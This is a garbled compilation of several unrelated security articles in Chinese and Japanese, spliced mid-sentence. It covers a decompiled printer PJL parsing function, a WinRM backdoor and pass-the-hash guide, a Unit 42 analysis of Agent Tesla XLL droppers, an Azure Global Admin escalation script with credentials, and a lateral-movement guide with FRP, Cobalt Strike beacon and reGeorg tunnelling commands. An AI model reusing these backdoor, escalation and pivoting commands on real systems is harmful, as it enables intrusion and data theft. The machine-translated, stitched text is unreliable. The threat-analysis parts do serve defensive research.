客戶端數據似乎是由另一個線程異步接收的,並保存到分配給pjl_ctx結構體的內存中。因此,pjl_ldwelcomescreen_internal3()函數每次從pjl_ctx結構體中讀取一個字符,並填充0x400字節的堆棧緩衝區。

1、如果接收到0x400字節數據,並且堆棧緩衝區已滿,則最終會將這些0x400字節寫入以前打開的文件中。然後,它重置堆棧緩衝區,並開始讀取更多數據以重複該過程。

2、如果接收到PJL命令的頁腳(“@PJL END data”),它將丟棄頁腳部分,然後將接收的數據(大小0x400字節)寫入文件,最後退出。

unsignedint__fastcallpjl_ldwelcomescreen_internal3(

intwas_last_write_success,

int(__fastcall*pjl_getc)(unsigned__int8*p_char),

ssize_t(__fastcall*write_to_file)(int*p_fd,char*data_to_write,size_tlen_to_write),

int*p_fd)

{

unsignedintcurrent_char_2;//r5

size_tlen_to_write;//r4

intlen_end_data;//r11

inthas_encountered_at_sign;//r6

unsignedintcurrent_char_3;//r0

intret;//r0

intcurrent_char_1;//r3

ssize_tlen_written;//r0

unsignedintret_2;//r3

ssize_tlen_written_1;//r0

unsignedintret_3;//r3

ssize_tlen_written_2;//r0

unsignedintret_4;//r3

intwas_last_write_success_1;//r3

size_tlen_to_write_final;//r4

ssize_tlen_written_final;//r0

unsignedintret_5;//r3

unsignedintret_1;//[sp+0h][bp-20h]

unsigned__int8current_char;//[sp+1Fh][bp-1h]BYREF

_BYTEdata_to_write[1028];//[sp+20h][bp+0h]BYREF

current_char_2=0xFFFFFFFF;

ret_1=0;

b_restart_from_scratch:

len_to_write=0;

memset(data_to_write,0,0x401u);

len_end_data=0;

has_encountered_at_sign=0;

current_char_3=current_char_2;

while(1)

{

current_char=0;

if(current_char_3==0xFFFFFFFF)

{

//getonecharacterfrompjl_ctx-pData

ret=pjl_getc(current_char);

current_char_1=current_char;

}

else

{

//apreviouscharacterwasalreadyretrieved,let'susethatfornow

current_char_1=(unsigned__int8)current_char_3;

ret=1;//success

current_char=current_char_1;

}

if(has_encountered_at_sign)

break;//exittheloopforever

//isitan'@'signforaPJL-specificcommand?

if(current_char_1!='@')

gotob_read_pjl_data;

len_end_data=1;

has_encountered_at_sign=1;

b_handle_pjl_at_sign:

//fromhere,current_char=='@'

if(len_to_write+130x400)//?

{

if(was_last_write_success)

{

len_written=write_to_file(p_fd,data_to_write,len_to_write);

was_last_write_success=len_to_write==len_written;

current_char_2='@';

ret_2=ret_1;

if(len_to_write!=len_written)

ret_2=0xFFFFFFFF;

ret_1=ret_2;

}

else

{

current_char_2='@';

}

gotob_restart_from_scratch;

}

b_read_pjl_data:

if(ret==0xFFFFFFFF)//error

{

if(!was_last_write_success)

returnret_1;

len_written_1=write_to_file(p_fd,data_to_write,len_to_write);

ret_3=ret_1;

if(len_to_write!=len_written_1)

return0xFFFFFFFF;//error

returnret_3;

}

if(len_to_write0x400)

__und(0);

//appenddatatostackbuffer

data_to_write[len_to_write++]=current_char_1;

current_char_3=0xFFFFFFFF;//resettoenforcereadinganothercharacter

//atnextloopiteration

//reached0x400bytestowrite,let'swritethem

if(len_to_write==0x400)

{

current_char_2=0xFFFFFFFF;//resettoenforcereadinganothercharacter

//atnextloopiteration

if(was_last_write_success)

{

len_written_2=write_to_file(p_fd,data_to_write,0x400);

ret_4=ret_1;

if(len_written_2!=0x400)

ret_4=0xFFFFFFFF;

ret_1=ret_4;

was_last_write_success_1=was_last_write_success;

if(len_written_2!=0x400)

was_last_write_success_1=0;

was_last_write_success=was_last_write_success_1;

}

gotob_restart_from_scratch;

}

}//endofwhile(1)

//wereachhereifweencounteredan'@'sign

//let'scheckitisavalid'@PJLENDDATA'footer

if((unsigned__int8)aPjlEndData[len_end_data]!=current_char_1)

{

len_end_data=1;

has_encountered_at_sign=0;//resetsowereaditagain?

gotob_read_data_or_at;

}

if(len_end_data!=12)//len('PJLENDDATA')=12

{

++len_end_data;

b_read_data_or_at:

//willgobacktothewhile(1)loopbutexitatthenext

//iterationdueto'break'andhas_encountered_at_sign==1

if(current_char_1!='@')

gotob_read_pjl_data;

gotob_handle_pjl_at_sign;

}

//wereachhereifall'PJLENDDATA'wasparsed

current_char=0;

pjl_getc(current_char);//read'\r'

if(current_char=='\r')

pjl_getc(current_char);//read'\n'

//writealltheremainingdata(len0x400),exceptthe'PJLENDDATA'footer

len_to_write_final=len_to_write-0xC;

if(!was_last_write_success)

returnret_1;

len_written_final=write_to_file(p_fd,data_to_write,len_to_write_final);

ret_5=ret_1;

if(len_to_write_final!=len_written_final)

return0xFFFFFFFF;

returnret_5;

}位於0xFEA18處的pjl_getc()函數,用於從pjl_ctx結構體中

winrmはポートマルチプレックス

を実装します

この攻撃方法には、アカウントとパスワードが必要です。ハッシュを取得した場合は、邪悪なウィンラムを使用してハッシュログインを実現することもできます。

サービスは導入

WinRMのフルネームはWindowsリモート管理であり、Microsoftのサーバーハードウェア管理機能の一部であり、ローカルまたはリモートサーバーを管理できます。 WINRMサービスにより、管理者はWindowsオペレーティングシステムにリモートでログインし、Telnetと同様のインタラクティブコマンドラインシェルを取得できますが、基礎となる通信プロトコルはHTTPを使用します。

バックドアアプリケーション

Windows2012サーバーでは、WinRMがデフォルトで開始され、ポート5985が有効になっており、2008年のシステムでサービスを手動で有効にする必要があります。

Winrm QuickConfig -Qスタートアップ後、ファイアウォールはポート20210104174750もリリースします

httplistenerリスニングの共存を有効にするように設定します

winrm set winrm/config/service @{enableCompatibilityhttplistener='true'} //80

winrm set winrm/config/service @{enableCompatibilityHttpsListener='true'} //443 20210104174922

リスニングポートを80/443に変更します

winrm set winrm/config/ristener?address=*+transport=http @{port='80 '}

winrm set winrm/config/リスナー?address=*+transport=https @{port='443'} 20210104175540

また、ローカル接続では、WinRMサービスをオンにしてから信頼できるホストをセットアップする必要があります。

Winrm QuickConfig -Q

winrm set winrm/config/client @{trustedhosts='*'}

Winrs -R:http://172.16.142.151:5985 -U3:ADMINISTRATOR -P:ADMIN123 'WHAAMI' 20210105131322 20210105125247

winrm pth

Macの下で邪悪なwinRMを使用してPTHを実装します

sudo gem install vail-winrm

邪悪なwinrm -i 172.16.142.151 -u管理者-h 8842

摘要在2021 年7 月27 日至12 月1 日期間,Unit 42 研究人員觀察到Agent Tesla 和Dridex 惡意軟件樣本激增,這些樣本是被Excel 插件(XLL) 和Office 4.0 宏釋放的。我們發現Excel 4.0 的宏釋放程序主要用於釋放Dridex,而XLL 下載程序用於釋放Agent Tesla 和Dridex。雖然惡意XLL 文件已經為人所知很長一段時間,但它們在威脅環境中的再次出現則代表了一種新趨勢。

我們觀察到的XLL 文件主要通過電子郵件傳播,其中包含從abcovid[.]tech 電子郵件地址發送的報價誘導內容,電子郵件主題為“INQUIRY”。這些電子郵件的目標包括以下行業的組織:製造業、零售業,聯邦、州和地方政府,金融,藥品,運輸,教育以及美國、歐洲和東南亞的其他幾個國家。此外,我們看到的一些惡意XLL 文件濫用了名為Excel-DNA 的合法開源Excel 插件框架。

本文,我們先來看看XLL 文件屬性、被濫用的合法開源框架和最終的Agent Tesla 有效載荷。下一部分我們將介紹其他感染流程,即提供Dridex 樣本的XLL 和Excel 4 (XLM) 釋放程序。

Palo Alto Networks 客戶可通過Cortex XDR 或WildFire 雲傳播的下一代防火牆安全訂閱,獲得針對此處討論的攻擊的保護。

1.png

感染鏈下圖中的流程圖顯示了我們在調查期間觀察到的兩個可能的事件鏈:

受害者收到一封帶有惡意附件的電子郵件;

附件是一個惡意的XLL或XLM文件;

在XLL的情況下,當運行它時,它會:

釋放一個中間投放程序,該投放程序又會釋放一個Agent Tesla 有效載荷;

從Discord 下載Agent Tesla 有效載荷;

從Discord 下載Dridex 有效載荷;

在XLM 的情況下,運行時它會釋放一個VBS 下載程序,該下載程序從Discord 下載並執行Dridex 示例。

雖然Agent Tesla 和Dridex 感染鏈不一定由同一個攻擊者傳播,但它們似乎是感染載體新趨勢的一部分。

2.jpeg

感染鏈

什麼是XLL ?XLL 是Excel 插件的擴展,實際上,XLL 只是一個普通的PE-DLL 文件。 XLL 文件擴展名與一個圖標相關聯,該圖標與其他Excel 支持的擴展名非常相似。反過來,普通用戶不會注意到XLL 和其他Excel 文件格式之間的任何區別,並且可以被誘導打開它。這可能令人驚訝,但是Excel很樂意在雙擊時加載和執行XLL文件。

3.png

XLL 圖標

Excel 加載XLL 後,會根據定義的XLL 接口調用XLL 文件的導出函數。其中兩個接口函數很突出:xlAutoOpen 和xlAutoClose。這些函數在加載程序激活或停用後分別被調用。這些函數可以用來加載惡意代碼,類似於經典VBA宏中的Auto_Open和Auto_Close方法。

XLL 文件的一個缺點是它們只能由Excel 以正確的位加載,例如,64 位XLL 只能由64 位版本的Excel 加載。 32 位版本也是如此。因此,惡意軟件開發者必須依賴安裝在受害者設備上的Excel 版本。

與VBA 宏一樣,Excel 將警告用戶執行插件引起的安全問題。

4.png

嘗試執行XLL 文件時Excel 發出警告

由於上述原因,XLL 文件對於尋求在受害設備上獲得初步立足點的攻擊者來說可能是一個不錯的選擇。攻擊者可以將代碼打包到Excel 加載的DLL 中,這反過來可能會誤導不准備處理這種情況的安全產品。

下圖顯示了PE 編輯程序中的XLL 文件示例。在其他導出函數中,我們可以找到xlAutoOpen 和xlAutoClose 函數。

5.png

PE 標頭編輯程序CFF Explorer 顯示的Excel 插件導出

惡意Excel 插件(XLL) 下載程序我們觀察到帶有以下XLL 樣本的惡意電子郵件:

SHA256:7a6f8590d4be989faccb34cd393e713fd80fa17e92d7613f33061d647d0e6d12

SHA256:fbc94ba5952a58e9dfa6b74fc59c21d830ed4e021d47559040926b8b96a937d0

Excel-DNA我們遇到的XLL 示例使用了一個用於Excel 插件開發的合法開源框架,稱為Excel-DNA。該框架有幾個功能也適合惡意軟件開發者。一種是無需“接觸”磁盤即可將打包在PE 資源中的壓縮.NET 程序集直接加載到內存中的功能。因此,儘管Excel-DNA 是一個合法的框架,但它具有類似於惡意加載程序的功能,並且可以作為加載程序被濫用。

Excel-DNA 還有另一個屬性可能會阻礙Yara 的覆蓋,甚至惡意軟件開發者也可能不知道。出於某種原因,許多Excel-DNA樣本有10000多個導出函數,其中大多數是沒有任何有意義的函數。 Yara PE模塊導出函數解析限制只有8192個。因此,針對位於索引高於8192 的某個導出名稱的Yara 規則將不會與樣本匹配。

當我們查看Excel-DNA XLL 的資源時,我們可以看到一個名為__MAIN__ 的XML 資源。此資源包含有關Excel-DNA 加載哪個模塊的信息。在我們的示例中,指定的模塊將從名為JACK 的資源中被解壓縮。

資源將使用LZMA 算法解壓縮,然後加載到內存中。

6.png

Excel-DNA 資源

我們已經創建了用於從Excel-DNA插件中提取這類程序集的Python代碼。你可以在Unit 42 GitHub 存儲庫中找到此腳本。

Jack 資源加載的模塊是一個簡單的釋放程序,加載模塊後,將調用AutoOpen 方法。此方法中的惡意代碼將最終的有效載荷可執行文件放入%AppData%\service.exe 並執行它。值得注意的是,Jack 中包含的模塊是可配置的,這意味著在其他版本中它可以下載有效載荷而不是釋放它,以及釋放一個真正的Excel 模板並執行它。

配置如下圖所示,其中包含以下選項:

bDown:下載有效載荷。

templateEnabled :釋放並打開一個Excel 模板。

有效載荷:包含要釋放的有效載荷。

7.png

使用AutoOpen方法反編譯JACK 下載程序模塊的代碼,如dnSpy所示。

8.png

下載程序配置變量和字節數組中包含的最終有效載荷

最終有效載荷——Agent TeslaSHA256:AB5444F001B8F9E06EBF12BC8FDC200EE5F4185EE52666D69F7D996317EA38F3最終的有效載荷是一個經過混淆的Agent Tesla 樣本。在功能方面,Agent Tesla 被廣泛記錄。我們的示例使用SMTP 協議將被盜數據洩露到電子郵件phantom1248@yandex[.]com。下圖顯示了我們的Agent Tesla 樣本的反編譯入口點。它的結構與其他Agent Tesla 樣本類似。

9.png

Agent Tesla 的反編譯主函數

字符串解密Agent Tesla 示例將其所有字符串以加密形式存儲在大量字符中。

初始化時,示例將“大字節數組”的每個字節與硬編碼字節170 和“大字節數組”中字符的索引(修剪為字節大小)進行異或。接下來,樣本通過將解密後的數組拼接成已知的偏移量和相應的長度來填充一個存儲所有字符串的數組。例如,讓我們檢查偏移量665 中的8個字節:

10.png

下面的代碼將解密後的字節數組偏移量665處的8個字節分配給字符串數組的第53個成員。

11.png

字符串分配代碼

通過解密的字符串數組,我們可以看到Agent Tesla想要竊取的各種目標:

敏感的瀏覽程序信息和cookie;

郵件、FTP 和VPN 客戶端信息;

來自Windows Vault 的憑據;

記錄的擊鍵和屏幕截圖;

剪貼板信息;

Windows Vault為了從Windows Vault 竊取信息,Agent Tesla 開發者似乎將PowerSploit 腳本轉換為C# 以構建.NET 程序集。

它使用P/Invoke 從vaultcli.dll 庫中調用API 函數。首先,將調用VaultEnumerateItems 以獲取所有可用的庫。接下來,將使用VaultOpenVault 打開每個庫。庫打開後,將使用VaultEnumerateItems 枚舉包含的項目。最後,使用VaultGetItem 讀取項目的屬性。 Agent Tesla 將查詢記錄為自己的列表中的項目(手動反混淆代碼如下圖所示)。

12.png

用於記錄提取的Windows Vault 項目的反混淆Agent Tesla 代碼

下面是Agent Tesla 用來竊取信息的Windows Vault GUID和相應的描述列表:

13.png

總結近期惡意軟件激增,我們分析了使用Excel 插件(XLL) 的感染鏈,還描述了惡意軟件開發者如何濫用合法的Excel-DNA 框架來創建這些惡意XLL。最後,我們簡要描述了最終的Agent Tesla 有效載荷以及它試圖從受害者係統中竊取的信息,重點是Windows Vault 數據。在最近的攻擊中使用Excel 插件可能表明攻擊發展的新趨勢。

在下一篇文章中,我們將描述另一個感染鏈,其中涉及使用Excel 4.0 宏來傳播Dridex。

Microsoft 的Azure 是一個由主體、安全對像以及授予這些對象訪問權限的各種方式組成的複雜系統。一些權限操作由Azure AD 角色嚴格控制,而其他操作由角色和對象所有權者控制。 Azure 中的許多對像都受制於不同的權限系統,這會使訪問變得非常困難。

在這篇文章中,我將描述如何利用這些權限系統升級為全局管理員。我將描述作為攻擊者如何利用此系統,還將描述作為防御者如何進行安全配置。

在Azure 的攻擊研究中,至少有兩個人開放過API 權限利用:

马云惹不起马云 Dirk-Jan Mollema在此處討論了可利用的Azure API 權限。

https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/马云惹不起马云Lina Lau 在這裡討論了利用應用程序和服務主體對Azure 租戶進行後門攻擊。

https://www.inversecos.com/2021/10/how-to-backdoor-azure-applications-and.html0x01 Azure API 權限介紹Azure AD 使用“角色”的概念為主體分配權限。例如,“全局管理員”是Azure AD 目錄角色。 Azure API 權限是一組完全不同的並行權限,可以授予Azure 服務主體。 Azure AD 角色和Azure API 權限之間存在一些重疊,但最好將它們視為並行權限系統。

這些並行系統可用於控制對相同對象的訪問,它們可用於授予對相同對象的訪問權限。但是,僅當主體通過該API 對目標對象進行操作時,才會考慮Azure API 權限系統中授予的特定權限:

image-20220303143724538.png

image-20220303143724538在繼續分析之前,先解釋一些專有名詞,這些系統非常複雜,在分析時很容易混淆。

Principal — 可以進行身份驗證的身份。在Azure-land 中,主體可以是用戶或服務主體,使用用戶名和密碼登錄時,你正在使用用戶主體對Azure 進行身份驗證。

Azure AD App Registration— 駐留在Azure 租戶中的應用程序對象。 Azure Apps是處理配置信息的地方,你可以在其中授予用戶對應用程序的訪問權限並讓應用程序執行操作。

Service Principal— Azure Apps在需要向Azure 進行身份驗證時使用的標識。服務主體可以使用用戶名和密碼進行身份驗證。就像用戶一樣,服務主體可以控制Azure 中的其他對象。

API Permission— 一種原子的、唯一可識別的權限,適用於特定的Azure Apps。 API 權限有兩種形式:“委派”和“應用”。 API 權限描述了授予Azure Apps的特定權限。

MS Graph API 中的API 權限以“Resource.Operation.Constraint”格式編寫。示例:“Directory.ReadWrite.All”是指授予此權限的主體可以讀取和寫入目錄中的所有對象。

App Role— 由Azure Apps授予的權限,可直接由授予它的主體使用。

Delegated Permissions— 由Azure 應用授予的權限,但只能代表已通過應用進行身份驗證的用戶使用。委託人不能自己使用委派角色,但他們可以模擬確實具有該角色的登錄用戶,代表用戶使用該角色。

Application App Role ——Azure Apps本身持有的權限。應用程序可以使用此角色,而無需用戶先登錄應用程序。

Resource App— 與Azure Apps訪問的應用程序關聯的唯一標識的服務主體。應用程序角色是按資源應用程序定義的。

根據上下文,所有這些術語都可以指代同一個對象:Service Principal、Enterprise Application、Resource App 和First Party Application。

下面會描述如何形成攻擊路徑。

0x02 利用API 權限實現權限提升作為Azure 管理員、防御者或攻擊者,你將與之交互的最常見的資源應用程序之一是Microsoft Graph。基本上,你想要採取的所有可利用的管理操作都可以通過Microsoft Graph API 實現。

每個Azure 租戶都有一個Microsoft Graph Resource App。你可以通過搜索其顯示名稱“GraphAggregatorService”在你自己的租戶中找到它。在我的賬戶中,Microsoft Graph 的“應用程序ID”是00000003–0000–0000-c000–000000000000:

image-20220303143745533 image-20220303143745533.png

為什麼是同一個ID?因為此應用實際上位於Microsoft 控制的Azure AD 租戶中,讓我們從Graph的角度思考這些事情:

image-20220303143901813 image-20220303143901813.png

這些對象具有相同的顯示名稱,但它們是具有不同ID 的不同對象。另外,上面藍色表示的信任邊界意味著Microsoft租戶中的Global Admin無法控制SpecterDev租戶中的Resource App,SpecterDev租戶中的Global Admin無法控制Microsoft租戶中的Azure App。

現在添加一些應用程序角色。應用程序角色特定於每個資源應用程序。為了在這裡解釋一種權限提升的可能性,我們將重點關注兩個應用程序角色:AppRoleAssignment.ReadWrite.All 和RoleManagement.ReadWrite.Directory:

image-20220303143930071 image-20220303143930071.png

此時,這些應用程序角色僅可供管理員授予服務主體,但實際上還沒有人擁有這些權限。繼續將“AppRoleAssignment.ReadWrite.All”應用程序角色授予另一個服務主體,將使其成為“Application App Role”(而不是“委託權限”),以便服務主體本身俱有此權限:

image-20220303143944905 image-20220303143944905.png

並且不要忘了“MyCoolAzureApp”服務主體與Azure Apps“MyCoolAzureApp”相關聯:

image-20220303144031432.png

image-20220303144031432現在“MyCoolAzureApp”已經設置好了,可以將自己或其他任何人變成全局管理員。為了理解這一點,需要討論一下這兩個特定的應用程序角色允許服務主體做什麼

Microsoft 文檔描述的“AppRoleAssignment.ReadWrite.All”權限:

“允許應用程序管理任何API(包括Microsoft Graph)的應用程序權限的權限授予和任何應用程序的應用程序分配,而無需登錄用戶。”

這意味著“AppRoleAssignment.ReadWrite.All”可讓你授予自己所需的任何API 權限。這個特殊的角色還繞過了手動的、人工的管理員授權過程。擁有這個角色意味著“MyCoolAzureApp”可以授予自己“RoleManagement.ReadWrite.Directory”:

image-20220303144142822 image-20220303144142822.png

可以用“RoleManagement.ReadWrite.Directory”做什麼?文檔描述如下:

“允許應用在沒有登錄用戶的情況下讀取和管理公司目錄的基於角色的訪問控制(RBAC)設置。這包括實例化目錄角色和管理目錄角色成員身份,以及讀取目錄角色模板、目錄角色和成員身份。”

換句話說,你可以授予自己任何你想要的目錄角色,包括全局管理員:

image-20220303144205142.png image-20220303144205142

我們的攻擊路徑就出來了:

1.MyCoolAzureApp 應用作為MyCoolAzureApp 服務主體運行。

2.MyCoolAzureApp 服務主體具有“AppRoleAssignment.ReadWrite.All”權限,允許授予自己“RoleManagement.ReadWrite.Directory”。

3.在授予自己“RoleManagement.ReadWrite.Directory”後,MyCoolAzureApp 服務主體可以將自己提升為全局管理員。

這是此攻擊路徑的實際操作視頻:

https://vimeo.com/646553826這是上面演示中的示例攻擊代碼:

##GrantingGlobalAdminrightsbychainingAppRoleAssignment.ReadWrite.AllintoRoleManagement.ReadWrite.Directory

#HelperfunctiontoletusparseAzureJWTs:

functionParse-JWTtoken{

#

.DESCRIPTION

DecodesaJWTtoken.Thiswastakenfromlinkbelow.ThankstoVasilMichev.

.LINK

https://www.michev.info/Blog/Post/2140/decode-jwt-access-and-id-tokens-via-powershell

#

[cmdletbinding()]

param(

[Parameter(Mandatory=$True)]

[string]$Token

)

#Validateasperhttps://tools.ietf.org/html/rfc7519

#AccessandIDtokensarefine,Refreshtokenswillnotwork

if(-not$Token.Contains('.')-or-not$Token.StartsWith('eyJ')){

Write-Error'Invalidtoken'-ErrorActionStop

}

#Header

$tokenheader=$Token.Split('.')[0].Replace('-','+').Replace('_','/')

#Fixpaddingasneeded,keepadding'='untilstringlengthmodulus4reaches0

while($tokenheader.Length%4){

Write-Verbose'InvalidlengthforaBase-64chararrayorstring,adding='

$tokenheader+='='

}

Write-Verbose'Base64encoded(padded)header:$tokenheader'

#ConvertfromBase64encodedstringtoPSObjectallatonce

Write-Verbose'Decodedheader:'

$header=([System.Text.Encoding]:ASCII.GetString([system.convert]:FromBase64String($tokenheader))|convertfrom-json)

#Payload

$tokenPayload=$Token.Split('.')[1].Replace('-','+').Replace('_','/')

#Fixpaddingasneeded,keepadding'='untilstringlengthmodulus4reaches0

while($tokenPayload.Length%4){

Write-Verbose'InvalidlengthforaBase-64chararrayorstring,adding='

$tokenPayload+='='

}

Write-Verbose'Base64encoded(padded)payoad:$tokenPayload'

$tokenByteArray=[System.Convert]:FromBase64String($tokenPayload)

$tokenArray=([System.Text.Encoding]:ASCII.GetString($tokenByteArray)|ConvertFrom-Json)

#Converts$headerand$tokenArrayfromPSCustomObjecttoHashtablesotheycanbeaddedtogether.

#Iwouldliketouse-AsHashTableinconvertfrom-json.Thisworksinpwsh6butforsomereasonAppveyorisntrunningtestsinpwsh6.

$headerAsHash=@{}

$tokenArrayAsHash=@{}

$header.psobject.properties|ForEach-Object{$headerAsHash[$_.Name]=$_.Value}

$tokenArray.psobject.properties|ForEach-Object{$tokenArrayAsHash[$_.Name]=$_.Value}

$output=$headerAsHash+$tokenArrayAsHash

Write-Output$output

}

#GetridofanytokensorAzureconnectionsinthisPowerShellinstance

Disconnect-AzureAD

Disconnect-AzAccount

$token=$null

$aadToken=$null

#ConnecttoAzureasMattNelson:

$AzureUserID='mnelson@specterdev.onmicrosoft.com'

$AzureTenantID='6c12b0b0-b2cc-4a73-8252-0b94bfca2145'

$AzurePassword=ConvertTo-SecureString'k33p3r0fTh3T3nRul3z!'-AsPlainText-Force

$psCred=New-ObjectSystem.Management.Automation.PSCredential($AzureUserID,$AzurePassword)

Connect-AzAccount-Credential$psCred-TenantID$AzureTenantID

#ConnecttoAzureADasMattNelson:

$context=[Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]:Instance.Profile.DefaultContext

$aadToken=[Microsoft.Azure.Commands.Common.Authentication.AzureSession]:Instance.AuthenticationFactory.Authenticate($context.Account,`

$context.Environment,`

$context.Tenant.Id.ToString(),`

$null,`

[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]:Never,`

$null,'https://graph.windows.net').AccessToken

Connect-AzureAD-AadAccessToken$aadToken-AccountId$context.Account.Id-TenantId$context.tenant.id

#Let'sverifytheobjectIDfortheGlobalAdminroleinourtenant:

Get-AzureADDirectoryRole|?{$_.DisplayName-eq'GlobalAdministrator'}

#MattNelsonisnotaGlobalAdmin:(

Get-AzureADDirectoryRoleMember-ObjectID'23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41'|selectDisplayName

#MattNelsoncan'tpromotehimselftoGlobalAdmin:(

Add-AzureADDirectoryRoleMember-ObjectID'23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41'-RefObjectId'825aa930-14f0-40af-bdef-627524bc529e'

#Let'sgettheobjectIDofthe'MyCoolApp'appregistrationobject:

Get-AzureADApplication-All$True|?{$_.DisplayName-eq'MyCoolApp'}

#MattNelsonownstheMyCoolAppappregistration,sohecanaddanewsecret

序文

イントラネットの浸透、ウェブシェル、またはコバルトストライク、メタスプロイトが発売される場合などはほんの始まりに過ぎず、イントラネットを水平に移動し、結果を拡大し、コア領域を攻撃することについてです。ただし、侵入後の前提条件は、さらなる攻撃のためにイントラネットに「排他的なチャネル」を構築することです。ただし、実際の戦闘では、ネットワーク環境が異なるため、使用方法は異なります。

以下は、「実際の戦闘におけるイントラネットの浸透の道」のマインドマップの自己サマリーです。

1049983-20240512134201496-1780382476.png

ターゲットアウトバウンド(ソックスプロキシ)

これは、実際の戦闘で最も喜んで遭遇するネットワーク環境です。ターゲットマシンは通常のインターネットにアクセスでき、ターゲットマシンにソックスエージェントまたはコバルトストライクを直接吊るすことができ、ターゲットのイントラネットチャネルを開きます。

FRP(Socks5)FRPサーバー構成ファイル:

1 | [一般]

2 | bind_port=8080frpクライアント構成ファイル:

1 | [一般]

2 | server_addr=xx.xx.xx.xx

3 | server_port=8080

4 | #Serviceポートは一般的なWebポートを使用します

5 |

6 | [Socks5]

7 | type=tcp

8 | remote_port=8088

9 |プラグイン=socks5

10 | use_encryption=true

11 | use_compression=true

12 | #Socks5パスワード

13 | #plugin_user=superman

14 | #plugin_passwd=xpo2mcwe6nj3暗号化と圧縮の2つの関数がここに追加されますが、デフォルトでは有効にされていません。著者の紹介によると、圧縮アルゴリズムはSnappyを使用しています。

use_encryption=true enable enbryption [通信コンテンツの暗号化された送信、トラフィックが傍受されるのを効果的に防ぐ]

use_compression=True Enable Compression [送信されたネットワークトラフィックを効果的に削減し、トラフィック転送速度を高速化するように伝達コンテンツを伝達しますが、追加のCPUリソースを消費します]

use_encryption=true、use_compression=trueは、関連するプロトコルの下に配置する必要があります。 FRPクライアントと構成ファイルがターゲットマシンに送信された後、プログラム名と構成ファイルが変更され、システム関連のフォルダーに配置されて非表示になります。

1049983-20240512134202733-1307124500.png 1049983-20240512134203670-2094206611.png 1049983-20240512134204255-725553901.png暗号化圧縮の比較これは、暗号化と圧縮関数を使用しないFRPクライアント構成ファイルです。 Metasploitは、Socksプロキシを使用して、MS17_010から送信されたデータパケットをスキャンして、特定の攻撃動作を明確に識別できます。ターゲットイントラネットに「状況認識」やトラフィック分析などのセキュリティ機器がある場合、監視され、アクセス許可が失われます。

1049983-20240512134205015-817056185.png暗号化と圧縮関数を使用した後、攻撃源アドレスも公開されますが、イントラネットのセキュリティ監視装置を避けて、送信されたデータパケットを区別できません。

1049983-20240512134205882-1270973653.pngコバルトストライク(Socks4a)制御されたターゲットマシンのビーコンに、ソックスエージェントを有効にします。

1 |ビーコンソックス1024 #portは、VPSの実際の状況に応じて設定されています

1049983-20240512134206742-1303778529.pngプロキシピボットを表示メニューバーで、コピープロキシはMetaSploitに接続されているか、関連するセキュリティツールにSocks4aを直接ハングします。

1049983-20240512134207715-2015895728.pngは、オンラインマシンでは利用できません。これはリンクリンクです。メインリンク(ネットワークビーコン)が切断されている限り、それらはすべて切断されます!

SMBビーコン公式紹介SMBビーコン:SMBビーコンは、親のビーコンを介して通信するために名前付きパイプを使用しています。 2つのビーコンがリンクされると、子供のビーコンは親のビーコンからタスクを取得し、それを送信します。リンクされたビーコンは、通信にパイプという名前のWindowsを使用しているため、このトラフィックはSMBプロトコルにカプセル化されているため、SMBビーコンは比較的隠されています。

SMBリスナー(ホストとポートは無視できます)を作成し、リスナーの選択に注意を払い、セッションのルートで到達できるホスト由来セッションを選択します。

1049983-20240512134208849-655736604.png操作が成功した後、派生したSMBビーコンの接続状態であるキャラクター∞∞を見ることができます。

1049983-20240512134209667-901525554.png 1049983-20240512134210353-12480323.pngは、メインビーコンのリンクホストリンクまたはリンクホストをリンクすることと切断できます。

1 |ビーコンリンク192.168.144.155

2 | Beaccon Unlink 192.168.144.155 1049983-20240512134211037-132998840.pngLinkリスナーオンラインホストでリスナーを作成します。

1049983-20240512134211928-517817209.pngこのタイプのリスナーに対応する実行可能ファイルまたはDLLをエクスポートします。

1049983-20240512134212756-942516291.png作成したばかりのリスナーを選択します。

1049983-20240512134213577-342299124.png現在のオンラインターゲットマシンに生成されたペイロードをアップロードし、PSEXEC.EXEツールをこちらを使用してください。 (Cobalstrike自体は十分に強力ではありません)1049983-20240512134214378-27620203.pngビーコンのPSEXECツールを使用して、ネットワークを離れない、自動的に実行し、オンラインになるターゲットマシンにペイロードをアップロードします。

1 |ビーコンシェルC:WINDOWSTEMPPSEXEC.EXE -ACCEPTEULA \ 192.168.144.155,192.168.144.196 -U管理者-P管理

1049983-20240512134215238-1957285179.png1 |ビーコンシェルNetstat -Ano | FindStr 4444

1049983-20240512134215956-1504058873.pngSSH login1 |ビーコンSSH 192.168.144.174:22ルート管理

2 |ビーコンSSH 192.168.144.203:22ルート管理1049983-20240512134216668-903606565.png Linuxターゲットマシンのネットワーク接続ステータスを確認します。これは、以前に起動したWindowsホストに確立された接続です。

1049983-20240512134217520-1183936029.png

ターゲットはネットワークから出ない(HTTPプロキシ)

ターゲットマシンネットワークには、HTTP一元配電のみを許可し、正常にインターネットにアクセスできないターゲットマシンネットワークにファイアウォール、ネットワークゲートなどがある場合があります。上記のソックス法は実行不可能であり、HTTPプロキシを使用して浸透するためにのみ使用できます。

Regeorg(Socks5)1 | python regeorgsocksproxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080

1049983-20240512134218417-91446156.png Metasploitを使用してRegeorg Socks Proxyをハングして、MS17_010によって送信されたデータパケットをスキャンします。

1049983-20240512134219602-1128156753.pngneo-regeorg(暗号化)1 | python neoreg.py -kテスト@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo -tunnel.aspx

Neo-Regeorgを使用した後、パケットは暗号化されました。

1049983-20240512134220742-378445843.png Ice Scorpion(Open Socks5)Ice Scorpionのパケットトランスミッションは暗号化されており、ソックスプロキシ機能もありますが、送信プロセス中にパケット損失があります。ここでは、Metasploitを使用してMS17_010の脆弱性を検出しますが、結果は存在しないことを示しています。プロキシ検出が設定されていない場合、実際の脆弱性が存在します。

アイススコーピオンのプロキシスキャン方法はRegeorgほど正確ではありませんが、補助/スキャナー/ポートスキャン/TCPなど、小さなスレッドのポート検出が実現可能です。精度は、何らかの検出またはその他の伝送方法でのパケットの数によってより決定されます。

